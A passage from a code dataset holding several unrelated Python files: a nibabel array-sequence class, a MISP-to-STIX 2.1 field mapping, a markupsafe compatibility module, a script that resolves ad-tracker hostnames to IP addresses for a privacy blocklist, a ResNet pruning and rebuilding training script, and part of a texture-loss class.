build_cache.next_offset = req_rows\n if in_cached_build:\n return\n if cache_build:\n self._build_cache = build_cache\n else:\n build_cache.update_seq(self)\n\n def finalize_append(self):\n \"\"\" Finalize process of appending several elements to `self`\n\n :meth:`append` can be a lot faster if it knows that it is appending\n several elements instead of a single element. To tell the append\n method this is the case, use ``cache_build=True``. This method\n finalizes the series of append operations after a call to\n :meth:`append` with ``cache_build=True``.\n \"\"\"\n if self._build_cache is None:\n return\n self._build_cache.update_seq(self)\n self._build_cache = None\n self.shrink_data()\n\n def _resize_data_to(self, n_rows, build_cache):\n \"\"\" Resize data array if required \"\"\"\n # Calculate new data shape, rounding up to nearest buffer size\n n_bufs = np.ceil(n_rows / build_cache.rows_per_buf)\n extended_n_rows = int(n_bufs * build_cache.rows_per_buf)\n new_shape = (extended_n_rows,) + build_cache.common_shape\n if self._data.size == 0:\n self._data = np.empty(new_shape, dtype=build_cache.dtype)\n else:\n self._data.resize(new_shape)\n\n def shrink_data(self):\n self._data.resize((self._get_next_offset(),) + self.common_shape)\n\n def extend(self, elements):\n \"\"\" Appends all `elements` to this array sequence.\n\n Parameters\n ----------\n elements : iterable of ndarrays or :class:`ArraySequence` object\n If iterable of ndarrays, each ndarray will be concatenated along\n the first dimension then appended to the data of this\n ArraySequence.\n If :class:`ArraySequence` object, its data are simply appended to\n the data of this ArraySequence.\n\n Returns\n -------\n None\n\n Notes\n -----\n The shape of the elements to be added must match the one of the data of\n this :class:`ArraySequence` except for the first dimension.\n \"\"\"\n # If possible try pre-allocating memory.\n try:\n iter_len = len(elements)\n except TypeError:\n pass\n else: # We do know the iterable length\n if iter_len == 0:\n return\n e0 = np.asarray(elements[0])\n n_elements = np.sum([len(e) for e in elements])\n self._build_cache = _BuildCache(self, e0.shape[1:], e0.dtype)\n self._resize_data_to(self._get_next_offset() + n_elements,\n self._build_cache)\n\n for e in elements:\n self.append(e, cache_build=True)\n\n self.finalize_append()\n\n def copy(self):\n \"\"\" Creates a copy of this :class:`ArraySequence` object.\n\n Returns\n -------\n seq_copy : :class:`ArraySequence` instance\n Copy of `self`.\n\n Notes\n -----\n We do not simply deepcopy this object because we have a chance to use\n less memory. For example, if the array sequence being copied is the\n result of a slicing operation on an array sequence.\n \"\"\"\n seq = self.__class__()\n total_lengths = np.sum(self._lengths)\n seq._data = np.empty((total_lengths,) + self._data.shape[1:],\n dtype=self._data.dtype)\n\n next_offset = 0\n offsets = []\n for offset, length in zip(self._offsets, self._lengths):\n offsets.append(next_offset)\n chunk = self._data[offset:offset + length]\n seq._data[next_offset:next_offset + length] = chunk\n next_offset += length\n\n seq._offsets = np.asarray(offsets)\n seq._lengths = self._lengths.copy()\n\n return seq\n\n def __getitem__(self, idx):\n \"\"\" Get sequence(s) through standard or advanced numpy indexing.\n\n Parameters\n ----------\n idx : int or slice or list or ndarray\n If int, index of the element to retrieve.\n If slice, use slicing to retrieve elements.\n If list, indices of the elements to retrieve.\n If ndarray with dtype int, indices of the elements to retrieve.\n If ndarray with dtype bool, only retrieve selected elements.\n\n Returns\n -------\n ndarray or :class:`ArraySequence`\n If `idx` is an int, returns the selected sequence.\n Otherwise, returns a :class:`ArraySequence` object which is a view\n of the selected sequences.\n \"\"\"\n if isinstance(idx, (numbers.Integral, np.integer)):\n start = self._offsets[idx]\n return self._data[start:start + self._lengths[idx]]\n\n seq = self.__class__()\n seq._is_view = True\n if isinstance(idx, tuple):\n off_idx = idx[0]\n seq._data = self._data.__getitem__((slice(None),) + idx[1:])\n else:\n off_idx = idx\n seq._data = self._data\n\n if isinstance(off_idx, slice): # Standard list slicing\n seq._offsets = self._offsets[off_idx]\n seq._lengths = self._lengths[off_idx]\n return seq\n\n if isinstance(off_idx, list) or is_ndarray_of_int_or_bool(off_idx):\n # Fancy indexing\n seq._offsets = self._offsets[off_idx]\n seq._lengths = self._lengths[off_idx]\n return seq\n\n raise TypeError(\"Index must be either an int, a slice, a list of int\"\n \" or a ndarray of bool! Not \" + str(type(idx)))\n\n def __iter__(self):\n if len(self._lengths) != len(self._offsets):\n raise ValueError(\"ArraySequence object corrupted:\"\n \" len(self._lengths) != len(self._offsets)\")\n\n for offset, lengths in zip(self._offsets, self._lengths):\n yield self._data[offset: offset + lengths]\n\n def __len__(self):\n return len(self._offsets)\n\n def __repr__(self):\n if len(self) > np.get_printoptions()['threshold']:\n # Show only the first and last edgeitems.\n edgeitems = np.get_printoptions()['edgeitems']\n data = str(list(self[:edgeitems]))[:-1]\n data += \", ..., \"\n data += str(list(self[-edgeitems:]))[1:]\n else:\n data = str(list(self))\n\n return \"{name}({data})\".format(name=self.__class__.__name__,\n data=data)\n\n def save(self, filename):\n \"\"\" Saves this :class:`ArraySequence` object to a .npz file. \"\"\"\n np.savez(filename,\n data=self._data,\n offsets=self._offsets,\n lengths=self._lengths)\n\n @classmethod\n def load(cls, filename):\n \"\"\" Loads a :class:`ArraySequence` object from a .npz file. \"\"\"\n content = np.load(filename)\n seq = cls()\n seq._data = content[\"data\"]\n seq._offsets = content[\"offsets\"]\n seq._lengths = content[\"lengths\"]\n return seq\n\n\ndef create_arraysequences_from_generator(gen, n):\n \"\"\" Creates :class:`ArraySequence` objects from a generator yielding tuples\n\n Parameters\n ----------\n gen : generator\n Generator yielding a size `n` tuple containing the values to put in the\n array sequences.\n n : int\n Number of :class:`ArraySequences` object to create.\n \"\"\"\n seqs = [ArraySequence() for _ in range(n)]\n for data in gen:\n for i, seq in enumerate(seqs):\n if data[i].nbytes > 0:\n seq.append(data[i], cache_build=True)\n\n for seq in seqs:\n seq.finalize_append()\n return seqs\n\n\ndef concatenate(seqs, axis):\n \"\"\" Concatenates multiple :class:`ArraySequence` objects along an axis.\n\n Parameters\n ----------\n seqs: iterable of :class:`ArraySequence` objects\n Sequences to concatenate.\n axis : int\n Axis along which the sequences will be concatenated.\n\n Returns\n -------\n new_seq: :class:`ArraySequence` object\n New :class:`ArraySequence` object which is the result of\n concatenating multiple sequences along the given axis.\n \"\"\"\n new_seq = seqs[0].copy()\n if axis == 0:\n # This is the same as an extend.\n for seq in seqs[1:]:\n new_seq.extend(seq)\n\n return new_seq\n\n new_seq._data = np.concatenate([seq._data for seq in seqs], axis=axis)\n return new_seq\n","sub_path":"env/lib/python3.6/site-packages/nibabel/streamlines/array_sequence.py","file_name":"array_sequence.py","file_ext":"py","file_size_in_byte":14518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"185428324","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom .stix2_mapping import Stix2Mapping\nfrom stix2.v21.common import TLP_WHITE, TLP_GREEN, TLP_AMBER, TLP_RED\nfrom stix2.v21.sdo import CustomObject\n\n\nclass Stix21Mapping(Stix2Mapping):\n def __init__(self):\n super().__init__()\n v21_specific_attributes = {\n 'email-message-id': '_parse_email_message_id_attribute'\n }\n self._declare_attributes_mapping(updates=v21_specific_attributes)\n\n def declare_objects_mapping(self):\n v21_specific_objects = {\n 'geolocation': '_parse_geolocation_object'\n }\n self._declare_objects_mapping(updates=v21_specific_objects)\n self.__credential_object_mapping = {\n 'password': 'credential',\n 'username': 'user_id'\n }\n self.__domain_ip_uuid_fields = (\n 'domain',\n 'hostname',\n 'ip'\n )\n self.__email_object_mapping = {\n 'cc': 'cc_refs.value',\n 'email-body': 'body',\n 'from': 'from_ref.value',\n 'from-display-name': 'from_ref.display_name',\n 'message-id': 'message_id',\n 'reply-to': 'additional_header_fields.reply_to',\n 'send-date': 'date',\n 'subject': 'subject',\n 'to': 'to_refs.value',\n 'to-display-name': 'to_refs.display_name',\n 'x-mailer': 'additional_header_fields.x_mailer'\n }\n self.__email_uuid_fields = (\n 'attachment',\n 'cc',\n 'from',\n 'screenshot',\n 'to'\n )\n self.__file_uuid_fields = self.file_data_fields + ('path',)\n self.__geolocation_object_mapping = {\n 'address': 'street_address',\n 'city': 'city',\n 'country': 'country',\n 'latitude': 'latitude',\n 'longitude': 'longitude',\n 'region': 'region',\n 'zipcode': 'postal_code'\n }\n self.__ip_port_uuid_fields = (\n 'ip',\n 'ip-dst',\n 'ip-src'\n )\n self.__network_socket_mapping = {\n 'features': {\n 'dst-port': 'dst_port',\n 'src-port': 'src_port'\n },\n 'extension': {\n 'address-family': 'address_family',\n 'socket-type': 'socket_type'\n }\n }\n self.__network_socket_single_fields = (\n 'address-family',\n 'dst-port',\n 'hostname-dst',\n 'hostname-src',\n 'ip-dst',\n 'ip-src',\n 'protocol',\n 'socket-type',\n 'src-port'\n )\n self.__network_traffic_uuid_fields = (\n 'hostname-dst',\n 'hostname-src',\n 'ip-dst',\n 'ip-src'\n )\n self.__parent_process_fields = (\n 'parent-command-line',\n 'parent-pid'\n )\n self.__process_object_mapping = {\n 'features': {\n 'command-line': 'command_line',\n 'creation-time': 'created',\n 'current-directory': 'cwd',\n 'pid': 'pid'\n },\n 'parent': {\n 'parent-command-line': 'command_line',\n 'parent-image': 'image_ref.name',\n 'parent-pid': 'pid'\n }\n }\n self.__process_single_fields = (\n 'command-line',\n 'creation-time',\n 'current-directory',\n 'image',\n 'parent-command-line',\n 'parent-image',\n 'parent-pid',\n 'pid'\n )\n self.__process_uuid_fields = (\n 'child-pid',\n 'image',\n 'parent-command-line',\n 'parent-image',\n 'parent-pid'\n )\n self.__registry_key_mapping = {\n 'features': {\n 'key': 'key',\n 'last-modified': 'modified_time'\n },\n 'values': {\n 'data': 'data',\n 'data-type': 'data_type',\n 'name': 'name'\n }\n }\n self.__tlp_markings = {\n 'tlp:white': TLP_WHITE,\n 'tlp:green': TLP_GREEN,\n 'tlp:amber': TLP_AMBER,\n 'tlp:red': TLP_RED\n }\n self.__user_account_object_mapping = {\n 'features': {\n 'account-type': 'account_type',\n 'can_escalate_privs': 'can_escalate_privs',\n 'disabled': 'is_disabled',\n 'display-name': 'display_name',\n 'is_service_account': 'is_service_account',\n 'password': 'credential',\n 'privileged': 'is_privileged',\n 'user-id': 'user_id',\n 'username': 'account_login'\n },\n 'extension': {\n 'group': 'groups',\n 'group-id': 'gid',\n 'home_dir': 'home_dir',\n 'shell': 'shell'\n },\n 'timeline': {\n 'created': 'account_created',\n 'expires': 'account_expires',\n 'first_login': 'account_first_login',\n 'last_login': 'account_last_login',\n 'password_last_changed': 'credential_last_changed'\n }\n }\n\n @property\n def credential_object_mapping(self) -> dict:\n return self.__credential_object_mapping\n\n @property\n def domain_ip_uuid_fields(self) -> tuple:\n return self.__domain_ip_uuid_fields\n\n @property\n def email_object_mapping(self) -> dict:\n return self.__email_object_mapping\n\n @property\n def email_uuid_fields(self) -> tuple:\n return self.__email_uuid_fields\n\n @property\n def file_uuid_fields(self) -> tuple:\n return self.__file_uuid_fields\n\n @property\n def geolocation_object_mapping(self) -> dict:\n return self.__geolocation_object_mapping\n\n @property\n def ip_port_uuid_fields(self) -> tuple:\n return self.__ip_port_uuid_fields\n\n @property\n def network_socket_mapping(self) -> dict:\n return self.__network_socket_mapping\n\n @property\n def network_socket_single_fields(self) -> tuple:\n return self.__network_socket_single_fields\n\n @property\n def network_traffic_uuid_fields(self) -> tuple:\n return self.__network_traffic_uuid_fields\n\n @property\n def parent_process_fields(self) -> tuple:\n return self.__parent_process_fields\n\n @property\n def process_object_mapping(self) -> dict:\n return self.__process_object_mapping\n\n @property\n def process_single_fields(self) -> tuple:\n return self.__process_single_fields\n\n @property\n def process_uuid_fields(self) -> tuple:\n return self.__process_uuid_fields\n\n @property\n def registry_key_mapping(self) -> dict:\n return self.__registry_key_mapping\n\n @property\n def tlp_markings(self) -> dict:\n return self.__tlp_markings\n\n @property\n def user_account_object_mapping(self) -> dict:\n return self.__user_account_object_mapping\n","sub_path":"misp_stix_converter/misp2stix/stix21_mapping.py","file_name":"stix21_mapping.py","file_ext":"py","file_size_in_byte":7140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"528255863","text":"# -*- coding: utf-8 -*-\n\"\"\"\n markupsafe._compat\n ~~~~~~~~~~~~~~~~~~\n\n Compatibility module for different Python versions.\n\n :copyright: (c) 2013 by Armin Ronacher.\n :license: BSD, see LICENSE for more details.\n\"\"\"\nimport sys\n\nPY2 = sys.version_info[0] == 2\n\nif not PY2:\n text_type = str\n string_types = (str,)\n imap = map\n unichr = chr\nelse:\n text_type = unicode\n string_types = (str, unicode)\n from itertools import imap\n unichr = unichr\n","sub_path":"markupsafe/_compat.py","file_name":"_compat.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"249671406","text":"#!/usr/bin/env python3\n\nimport urllib.request\nimport json\nimport sys\nimport socket\nimport logging\n\n__author__ = 'Alexander Kamyshnikov'\n__version__ = '1.0.0'\n__email__ = 'axill777@gmail.com'\n\ndef setup_logging():\n # set up logging to file - see previous section for more details\n logging.basicConfig(level=logging.ERROR,\n format='%(message)s',\n datefmt='%m-%d %H:%M',\n filename='errors.log',\n filemode='w')\n\n###################################################################################################\n# Converter: host blacklist in JSON format --> blacklist of all resolved IPv4 addresses\n###################################################################################################\n\ndef download_file(url, local_filename=\"\"):\n if local_filename == \"\":\n local_filename = url.split('/')[-1]\n print(\"No filename specified, save as '{}'\".format(local_filename))\n\n url_request = urllib.request.Request(url) # headers=headers\n url_connect = urllib.request.urlopen(url_request)\n\n # Remember to open file in bytes mode\n buffer_size = 8192\n with open(local_filename, 'wb') as f:\n while True:\n buffer = url_connect.read(buffer_size)\n if not buffer: break\n\n # An integer value of size of written data\n data_wrote = f.write(buffer)\n\n # You could probably use with-open-as manner\n url_connect.close()\n\n return local_filename\n\n\ndef is_allowed_public_ip(ip_addr):\n \"\"\"\n :param ip_addr: str\n :return bool\n \"\"\"\n ip_oct = [int(x) for x in ip_addr.split('.')]\n if all([x == 0 for x in ip_oct]):\n return False # 0.0.0.0 is local address\n elif any([ip_oct[0] in (10, 127)]):\n return False # 10/8 https://tools.ietf.org/html/rfc1918; 127.0.0.0/8 is localhost\n elif all([ip_oct[0] == 169, ip_oct[1] == 254]):\n return False # 169.254/16 https://tools.ietf.org/html/rfc3927\n elif all([ip_oct[0] == 172, 16 <= ip_oct[1] <= 31]):\n return False # 172.16/12 https://tools.ietf.org/html/rfc1918\n elif all([ip_oct[0] == 192, ip_oct[1] == 168]):\n return False # 192.168/16 https://tools.ietf.org/html/rfc1918\n\n return True\n\n# tries to revolse host address to ip's;\n# returns ip's list\ndef resolve_host_ips(hostname):\n domain_ips = []\n\n try:\n domain_ips = socket.gethostbyname_ex(hostname)[2]\n\n for ip_addrs in domain_ips:\n if not is_allowed_public_ip(ip_addrs):\n domain_ips.remove(ip_addrs)\n\n #print('Host \\'' + hostname + '\\' successfully resolved to ' + str(len(domain_ips)) + ' ip\\'s')\n except Exception as inst:\n logging.error(\"Unable to resolve host '{}': '{}'\".format(hostname, inst))\n return []\n\n return domain_ips\n\ndef parse_exodus_list(fileName):\n blacklist_obj = {}\n total_host_count = 0\n unresolved_host_count = 0\n resolved_ip_count = 0\n ignored_trackers_count = 0\n\n # Read entire file contents into single variable\n # NOTE: file is pretty small and can fit into RAM (~60 Kb)\n json_text = ''\n with open(fileName, 'r') as f:\n json_text = f.read()\n f.close()\n\n # Parse json\n json_obj = json.loads(json_text)\n trackers_array = json_obj['trackers']\n for tracker_obj in trackers_array:\n # Get tracker name\n tracker_name = tracker_obj['name']\n\n # Get tracker hosts (if present)\n tracker_host_pattern = tracker_obj['network_signature']\n if tracker_host_pattern != \"\":\n print(\"Processing tracker '{}'...\".format(tracker_name))\n\n # Unescape dots (JSON requirement) and regex \"|\" symbol (one or more)\n tracker_hosts = tracker_host_pattern.replace(\"\\\\\", \"\").split(\"|\")\n\n total_host_count += len(tracker_hosts)\n print(\"Tracker '{}' have {} hosts\".format(tracker_name, len(tracker_hosts)))\n\n # Resolve each symbolic host name to one or more IP addresses\n hosts_obj = {}\n for host in tracker_hosts:\n # We unable to resolve addresses like '.my.domain.com'\n if host.startswith('.'):\n logging.error(\"Host pattern '{}' was simplified to '{}'!\".format(host, host.lstrip('.')))\n host = host.lstrip('.')\n\n ips = resolve_host_ips(host)\n if len(ips) > 0:\n print(\"Tracker '{}' host '{}' resolved to {} IP addresses\"\n .format(tracker_name, host, len(ips)))\n\n # Save to JSON current host IP addresses list\n hosts_obj[host] = ips\n resolved_ip_count += len(ips)\n else:\n #print(\"Unable to resolve tracker '{}' host '{}'!\"\n # .format(tracker_name, host))\n unresolved_host_count += 1\n \n # Save to JSON current tracker hosts IP addresses list\n blacklist_obj[tracker_name] = hosts_obj\n else:\n ignored_trackers_count += 1\n print(\"Ignore tracker '{}'...\".format(tracker_name))\n\n return {\n \"blacklist_obj\": blacklist_obj,\n \"total_host_count\": total_host_count,\n \"ignored_trackers_count\": ignored_trackers_count,\n \"unresolved_host_count\": unresolved_host_count,\n \"resolved_ip_count\": resolved_ip_count\n }\n\ndef parse_disconnect_list(fileName):\n blacklist_obj = {}\n total_host_count = 0\n unresolved_host_count = 0\n resolved_ip_count = 0\n\n # Read entire file contents into single variable\n # NOTE: file is pretty small and can fit into RAM (~200 Kb)\n json_text = ''\n with open(fileName, 'r') as f:\n json_text = f.read()\n f.close()\n\n # Parse json\n json_obj = json.loads(json_text)\n\n categories_dict = json_obj['categories']\n for category_name in categories_dict:\n #print(\"Category: \" + category_name)\n for tracker_list in categories_dict[category_name]:\n for tracker_name in tracker_list:\n #print(\"Vendor: \" + vendor_name)\n for highlevel_host in tracker_list[tracker_name]:\n #print(\"High-level host: \" + highlevel_host)\n if not highlevel_host.startswith('http'):\n continue\n\n lowlevel_host_list = tracker_list[tracker_name][highlevel_host]\n total_host_count += len(lowlevel_host_list)\n\n hosts_obj = {}\n for lowlevel_host in lowlevel_host_list:\n #print(\"Low-level host: \" + lowlevel_host)\n\n ips = resolve_host_ips(lowlevel_host)\n if len(ips) > 0:\n print(\"Tracker '{}' host '{}' resolved to {} IP addresses\"\n .format(tracker_name, lowlevel_host, len(ips)))\n # Save to JSON current host IP addresses list\n hosts_obj[lowlevel_host] = ips\n resolved_ip_count += len(ips)\n else:\n unresolved_host_count += 1\n\n # Save to JSON current tracker hosts IP addresses list\n blacklist_obj[tracker_name] = hosts_obj\n\n return {\n \"blacklist_obj\": blacklist_obj,\n \"total_host_count\": total_host_count,\n \"unresolved_host_count\": unresolved_host_count,\n \"resolved_ip_count\": resolved_ip_count\n }\n\n###################################################################################################\nsetup_logging()\n\n# 1) Exodus trackers list\ndownload_file(\"https://etip.exodus-privacy.eu.org/trackers/export\", \"exodus_trackers.json\")\nexodus_result = parse_exodus_list('exodus_trackers.json')\n\nprint('\\n\\n---------------------------------------------------------------')\nprint('Exodus trackers summary')\nprint('Total host count : {}'.format(exodus_result[\"total_host_count\"]))\nprint('Ignored trackers count : {}'.format(exodus_result[\"ignored_trackers_count\"]))\nprint('Resolved IP count : {}'.format(exodus_result[\"resolved_ip_count\"]))\nprint('Unresolved host count : {}'.format(exodus_result[\"unresolved_host_count\"]))\nprint('---------------------------------------------------------------\\n\\n')\n\n# 2) Disconnect.me trackers list\ndownload_file(\"https://raw.githubusercontent.com/disconnectme/disconnect-tracking-protection/master/services.json\", \"disconnect_me_trackers.json\")\ndisconnect_result = parse_disconnect_list('disconnect_me_trackers.json')\n\nprint('---------------------------------------------------------------')\nprint('Disconnect.me trackers summary')\nprint('Total host count : {}'.format(disconnect_result[\"total_host_count\"]))\nprint('Resolved IP count : {}'.format(disconnect_result[\"resolved_ip_count\"]))\nprint('Unresolved host count : {}'.format(disconnect_result[\"unresolved_host_count\"]))\nprint('---------------------------------------------------------------\\n\\n')\n\n# Save resulting tracker list to JSON file\noutput_filename = \"result_exodus.json\"\nwith open(output_filename, 'w') as f:\n json.dump(exodus_result['blacklist_obj'], f, sort_keys=True, indent=4)\n\noutput_filename = \"result_disconnectme.json\"\nwith open(output_filename, 'w') as f:\n json.dump(disconnect_result['blacklist_obj'], f, sort_keys=True, indent=4)\n\nsys.exit(0)\n\n","sub_path":"generate_trackers_ips.py","file_name":"generate_trackers_ips.py","file_ext":"py","file_size_in_byte":9441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"643432009","text":"import tensorflow as tf\nimport numpy as np\nimport scipy.ndimage\nimport pdb\nimport math\nfrom PIL import Image\nfrom scipy import misc\nimport argparse\nimport csv\nimport random\n\nimport utils_binary as utils\nimport Model_binary as Model\n\nimport sys\nfrom sys import platform\nimport os\nimport time\n#========================#\n# Global Parameter #\n#========================#\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--Dataset' , type = str, default = 'cifar10')\nparser.add_argument('--Model_1st' , type = str, default = 'ResNet')\nparser.add_argument('--Model_2nd' , type = str, default = '20_cifar10_2')\nparser.add_argument('--BatchSize' , type = int, default = 128)\nparser.add_argument('--Epoch' , type = int, default = 160)\nparser.add_argument('--epochs_per_eval' , type = int, default = 1)\nparser.add_argument('--mode' , type = int, default = 1)\nparser.add_argument('--Computation_ori' , type = int, default = 0)\n\nFLAGs = parser.parse_args()\n\nModel_Name = FLAGs.Model_1st + '_' + FLAGs.Model_2nd\nIS_HYPERPARAMETER_OPT = False\n\nassert FLAGs.epochs_per_eval <= FLAGs.Epoch, \"epochs_per_eval must small than Epoch\"\n\nprint('\\n\\033[1;32mMODEL NAME\\033[0m :\\033[1;37m {MODEL_NAME}\\033[0m' \n .format(MODEL_NAME = FLAGs.Model_1st + '_' + FLAGs.Model_2nd))\n#============#\n# Path #\n#============#\n# For Loading Dataset\nDataset_Path = '../dataset/' + FLAGs.Dataset\nif FLAGs.Dataset=='ade20k':\n Dataset_Path = Dataset_Path + '/ADEChallengeData2016'\nelif FLAGs.Dataset=='ILSVRC2012':\n Dataset_Path = Dataset_Path + '/imagenet-data'\nY_pre_Path = FLAGs.Model_1st + '_Y_pre/' + FLAGs.Dataset\n\n# For Saving Result Picture of Testing\ntrain_target_path = '../result/' + FLAGs.Dataset + '/' + FLAGs.Model_1st + '/' \nvalid_target_path = '../result/' + FLAGs.Dataset + '/' + FLAGs.Model_1st + '/' \ntest_target_path = '../result/' + FLAGs.Dataset + '/' + FLAGs.Model_1st + '/' \n\n# For Saving Result in .npz file\ntrain_Y_pre_path = 'Y_pre/' + FLAGs.Model_1st + '/' + FLAGs.Dataset + '/'\nvalid_Y_pre_path = 'Y_pre/' + FLAGs.Model_1st + '/' + FLAGs.Dataset + '/'\ntest_Y_pre_path = 'Y_pre/' + FLAGs.Model_1st + '/' + FLAGs.Dataset + '/'\n \n#==============# \n# Define #\n#==============#\ndef main(argv):\n # -- Training --\n ## ResNet-110\n if FLAGs.Model_2nd == '110_cifar10_0':\n Model_Path_base = 'Model/ResNet_Model/ResNet_110_cifar10_0_99_2018.02.08_Filter_Similar90_90/'\n Model_Paths = []\n ## ResNet-56\n if FLAGs.Model_2nd == '56_cifar10_0':\n Model_Path_base = 'Model/ResNet_Model/ResNet_56_cifar10_0_99_2018.02.09_Filter_Similar60_59/'\n Model_Paths = []\n ## ResNet-32\n if FLAGs.Model_2nd == '32_cifar10_0':\n Model_Path_base = None\n Model_Paths = []\n ## ResNet-20\n if FLAGs.Model_2nd == '20_cifar10_2':\n Model_Path_base = 'Model/ResNet_Model/ResNet_20_cifar10_2_99_2018.02.06_Filter_Similar90_88/'\n Model_Paths = ['Model/ResNet_Model/ResNet_20_cifar10_2_99_2018.02.06_Filter_Similar10_50/',\n 'Model/ResNet_Model/ResNet_20_cifar10_2_99_2018.02.06_Filter_Similar10_40/',\n 'Model/ResNet_Model/ResNet_20_cifar10_2_99_2018.02.06_Filter_Similar10_30/',\n 'Model/ResNet_Model/ResNet_20_cifar10_2_99_2018.02.06_Filter_Similar10_20/',\n 'Model/ResNet_Model/ResNet_20_cifar10_2_99_2018.02.06_Filter_Similar10_10/',\n 'Model/ResNet_Model/ResNet_20_cifar10_2_99_2018.02.06/']\n \n # Model_base\n Model_base = \"100.ckpt\"\n \"\"\"\n with open(Model_Path_base + 'info.csv') as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='|')\n for i, row in enumerate(reader):\n if i == 1:\n Model_base = row[0].split('/')[-1]\n \"\"\"\n # Models\n if FLAGs.mode == 0:\n Models = []\n for Model_Path in Model_Paths:\n with open(Model_Path + 'info.csv') as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='|')\n for i, row in enumerate(reader):\n if i == 1:\n Models.append(row[0].split('/')[-1])\n Models.append('100.ckpt')\n #--------------------------------#\n # Decision of Middle Floor #\n #--------------------------------#\n if FLAGs.mode == 0:\n None\n if FLAGs.mode == 1:\n pruned_weights_info = utils.load_obj(Model_Path_base, \"pruned_info\")[::-1]\n random.shuffle(pruned_weights_info)\n model_info = utils.load_obj(Model_Path_base, \"model_info\")\n computation_ori = FLAGs.Computation_ori\n selected_index = utils.middle_floor_decision(pruned_weights_info, model_info, Model_Path_base, computation_ori)\n Model_Path = Model_Path_base\n Model = Model_base\n \n if FLAGs.mode == 2:\n pruned_weights_info = utils.load_obj(Model_Path_base, \"pruned_info\")\n with open(Model_Path_base + 'selected_index.csv') as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='|')\n for _, row in enumerate(reader):\n selected_index = row\n Model_Path = Model_Path_base\n Model = Model_base\n \n #------------------#\n # Rebuilding #\n #------------------#\n # rebuild_times\n if FLAGs.mode == 0:\n rebuild_times = len(Model_Paths)\n elif FLAGs.mode == 1:\n rebuild_times = len(selected_index)\n elif FLAGs.mode == 2:\n rebuild_times = len(selected_index)-1\n \n # Rebuild\n for iter in range(0, rebuild_times):\n Global_Epoch = 0\n # Middle Floor\n if FLAGs.mode == 0:\n Model_Path = Model_Paths[iter]\n Model = Models[iter]\n index_now = None\n elif FLAGs.mode == 1:\n index_now = []\n # Start Index\n if iter == 0:\n if not selected_index[iter] == len(pruned_weights_info)-1:\n index_now.append(len(pruned_weights_info)-1)\n else:\n if not selected_index[iter-1]-1 == selected_index[iter]:\n index_now.append(int(selected_index[iter-1]-1))\n # End Index\n index_now.append(int(selected_index[iter]))\n print(\"\\033[1;32mReuilding Range\\033[0m : {}\" .format(index_now))\n elif FLAGs.mode == 2:\n index_now = []\n # Start Index\n index_now.append(int(selected_index[iter])-1)\n # End Index\n index_now.append(int(selected_index[iter+1]))\n print(\"\\033[1;32mReuilding Range\\033[0m : {}\" .format(index_now))\n \n # Training\n while(1):\n if Global_Epoch < FLAGs.Epoch * 0.9 and FLAGs.Epoch >= 10:\n epochs_per_eval = 10\n else:\n epochs_per_eval = 10 #FLAGs.epochs_per_eval\n \n Model_Path, Model, Global_Epoch = utils.run_rebuilding(\n FLAGs = FLAGs ,\n Epoch = epochs_per_eval ,\n Global_Epoch = Global_Epoch ,\n Dataset_Path = Dataset_Path ,\n Y_pre_Path = Y_pre_Path ,\n rebuilding_model_path_base = Model_Path_base ,\n rebuilding_model_base = Model_base ,\n rebuilding_model_path = Model_Path ,\n rebuilding_model = Model ,\n index_now = index_now )\n \n # -- Testing --\n test_accuracy = utils.run_testing( \n Hyperparameter = None , \n FLAGs = FLAGs ,\n IS_HYPERPARAMETER_OPT = IS_HYPERPARAMETER_OPT , \n Dataset_Path = Dataset_Path ,\n testing_model_path = Model_Path ,\n testing_model = Model ,\n train_target_path = train_target_path ,\n valid_target_path = valid_target_path ,\n test_target_path = test_target_path ,\n train_Y_pre_path = train_Y_pre_path ,\n valid_Y_pre_path = valid_Y_pre_path ,\n test_Y_pre_path = test_Y_pre_path ,\n training_type = 'rebuild' ,\n diversify_layers = None ,\n is_find_best_model = True )\n \n print(\"\\033[0;33mGlobal Epoch{}\\033[0m\" .format(Global_Epoch))\n if Global_Epoch >= FLAGs.Epoch:\n Global_Epoch = 0\n break\n \n Model_Path_base = Model_Path\n Model_base = Model\n \n # Save the selected index\n if FLAGs.mode == 1 or FLAGs.mode == 2:\n np.savetxt(Model_Path + 'selected_index.csv', np.array([selected_index[iter+1:]]), delimiter=\",\", fmt=\"%d\")\n \nif __name__ == \"__main__\":\n FLAGS, unparsed = parser.parse_known_args()\n tf.app.run(argv=[sys.argv[0]] + unparsed)\n\n","sub_path":"rebuild.py","file_name":"rebuild.py","file_ext":"py","file_size_in_byte":9359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"180197211","text":"import constants as const\nimport numpy as np\nimport pickle as pkl\nimport tensorflow as tf\n\n\nclass TextureLoss:\n\n def __init__(self, filter_file_path, centroids_file_path, num_bins,\n batch_sz):\n \"\"\"\n filter_file_path: path to pickled LM filter\n centroids_file_path: path to pickled filter response centroids\n num_bins: number of bins for the output texture histogram\n batch_sz: mini_batch size\n \"\"\"\n self.num_bins = num_bins\n self.batch_sz = batch_sz\n\n # Load filters\n filter_kernel = pkl.load(open(filter_file_path, 'rb'))\n centroids = pkl.load(open(centroids_file_path, 'rb'))\n centroids = centroids.astype(np.float32)\n\n # Change LM filter to 4D (for convolution)\n filter_kernel = filter_kernel.reshape((49, 49, 1, 48)).astype(\n np.float32)\n self.filter_tf = tf.convert_to_tensor(filter_kernel)\n self.centroids_numpy = centroids\n\n def gaussian_loss(self, t, o):\n return tf.nn.l2_loss(o - t)\n\n def mean_color_loss(self, t, o):\n #print('mean shape ', o.shape)\n reduced_o = tf.reduce_sum(o,axis=1);\n reduced_t = tf.reduce_sum(t, axis=1);\n #print('reduced_img shape ', reduced_img .shape)\n return tf.nn.l2_loss(reduced_o - reduced_t)\n #return tf.nn.l2_loss(o - t)\n def binary_crossentropy(self, t, o):\n return -(t * tf.log(o + const.eps) + (\n 1.0 - t) * tf.log(1.0 - o + const.eps))\n\n 